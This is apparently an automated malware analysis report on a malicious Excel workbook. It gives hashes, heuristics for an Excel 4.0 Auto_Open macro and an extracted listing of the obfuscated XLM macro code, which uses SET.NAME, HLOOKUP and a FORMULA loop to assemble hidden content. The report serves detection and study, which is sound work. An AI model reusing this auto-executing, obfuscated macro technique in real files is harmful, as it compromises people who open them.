Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 35d416612686b727…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:22 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 9b10e374a6ee3ee7e9651bc38ec40a25 SHA-1: 6f48b913c009128bb8822ae67041d0c03af11b5d SHA-256: 35d416612686b727050d20104a1cd9bef4670b6fd4fee4d0757a6a7a3bc13054
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6401 bytes
SHA-256: fe9f2caaf23776fdcc2bbc988bc1fe86893de5899a1304d48c9fd29c4999ac2d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Kcxy
' 0018     26 LABEL : Cell Value, String Constant - AOsAQTzGcUl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I196 
' 0018     24 LABEL : Cell Value, String Constant - bNIyXfEPv len=0 
' 0018     25 LABEL : Cell Value, String Constant - cVmoFhSMFw len=0 
' 0018     21 LABEL : Cell Value, String Constant - DnzCNN len=0 
' 0018     21 LABEL : Cell Value, String Constant - fRuQzt len=0 
' 0018     25 LABEL : Cell Value, String Constant - GNVHDjjveF len=0 
' 0018     20 LABEL : Cell Value, String Constant - gZncG len=0 
' 0018     21 LABEL : Cell Value, String Constant - LIgySm len=0 
' 0018     25 LABEL : Cell Value, String Constant - LUxPJMEBHa len=0 
' 0018     20 LABEL : Cell Value, String Constant - MNKNr len=0 
' 0018     22 LABEL : Cell Value, String Constant - PMmmzDF len=0 
' 0018     22 LABEL : Cell Value, String Constant - ppZPQAI len=0 
' 0018     22 LABEL : Cell Value, String Constant - QOMRtFO len=0 
' 0018     26 LABEL : Cell Value, String Constant - RKIXNJTdmhk len=0 
' 0018     26 LABEL : Cell Value, String Constant - slANtJupcIP len=0 
' 0018     22 LABEL : Cell Value, String Constant - UFqNxnH len=0 
' 0018     27 LABEL : Cell Value, String Constant - uJWYoLwtlFly len=0 
' 0018     23 LABEL : Cell Value, String Constant - WCaKlGcO len=0 
' 0018     26 LABEL : Cell Value, String Constant - XytdBPJxMvy len=0 
' 0018     23 LABEL : Cell Value, String Constant - YWHUWplp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Kcxy,I99,"SET.NAME("WCaKlGcO",VALUE("0"))",""
'  Kcxy,I104,"SET.NAME("fRuQzt",WCaKlGcO)",""
'  Kcxy,I108,"SET.NAME("bNIyXfEPv",WCaKlGcO)",""
'  Kcxy,I111,"SET.NAME("DnzCNN",COUNTA(AOsAQTzGcUl))",""
'  Kcxy,I115,"SET.NAME("GNVHDjjveF",COUNTA(gZncG))",""
'  Kcxy,I119,[],""
'  Kcxy,I122,"SET.NAME("QOMRtFO","")",""
'  Kcxy,I124,"fRuQzt",""
'  Kcxy,I129,"SET.NAME("slANtJupcIP",HLOOKUP("*",AOsAQTzGcUl,fRuQzt,FALSE))",""
'  Kcxy,I133,"PMmmzDF",""
'  Kcxy,I138,"SET.NAME("uJWYoLwtlFly",WCaKlGcO)",""
'  Kcxy,I140,[],""
'  Kcxy,I144,"uJWYoLwtlFly",""
'  Kcxy,I146,"ppZPQAI",""
'  Kcxy,I150,"LUxPJMEBHa",""
'  Kcxy,I153,"RKIXNJTdmhk",""
'  Kcxy,I158,"SET.NAME("LIgySm",VALUE(HLOOKUP("*",gZncG,RKIXNJTdmhk,FALSE)))",""
'  Kcxy,I162,"XytdBPJxMvy",""
'  Kcxy,I165,"QOMRtFO",""
'  Kcxy,I168,"bNIyXfEPv",""
'  Kcxy,I170,NEXT(),""
'  Kcxy,I174,"cVmoFhSMFw",""
'  Kcxy,I179,"SET.NAME("f",INT(T(FORMULA(T(QOMRtFO)&"",""&T(cVmoFhSMFw)))))",""
'  Kcxy,I184,"YWHUWplp",""
'  Kcxy,I189,NEXT(),""
'  Kcxy,I191,RETURN(),""
'  Kcxy,I223,"SET.NAME("MNKNr",I99)",""
'  Kcxy,I227,"AOsAQTzGcUl",""
'  Kcxy,I229,"SET.NAME("gZncG",R73C12)",""
'  Kcxy,I232,"SET.NAME("YWHUWplp",239)",""
'  Kcxy,I235,"SET.NAME("UFqNxnH",9)",""
'  Kcxy,I238,MNKNr(),""
'  Kcxy,I239,HALT(),""

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